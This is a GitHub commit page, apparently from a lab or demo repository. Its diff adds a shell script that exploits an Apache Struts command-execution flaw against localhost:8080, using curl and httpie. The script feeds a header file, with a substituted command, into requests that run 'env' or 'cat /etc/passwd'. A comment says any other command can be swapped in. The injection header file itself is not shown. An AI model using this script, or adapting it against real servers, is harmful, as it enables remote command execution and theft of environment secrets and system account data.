Skip to content

Commit abcdf1a

Browse files
committed
chore: renamed exploit files, added http version
1 parent 7c5d6c7 commit abcdf1a

File tree

3 files changed

+4
-1
lines changed

3 files changed

+4
-1
lines changed

exploits/exploit.txt

Lines changed: 0 additions & 1 deletion
This file was deleted.
File renamed without changes.

exploits/struts-exploit.sh

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
# Struts exploit using curl and httpie (more colourful HTTP client)
2+
(runs 'env' or 'cat /etc/passwd', can replace env with any other command (note to escape slashes and double quotes)
3+
cat struts-exploit-headers.txt| sed "s/COMMAND/env/" | xargs curl -v -X GET http://localhost:8080 -H
4+
cat struts-exploit-headers.txt| sed "s/COMMAND/cat \/etc\/passwd/" | xargs http -v http://localhost:8080

0 commit comments

Comments
 (0)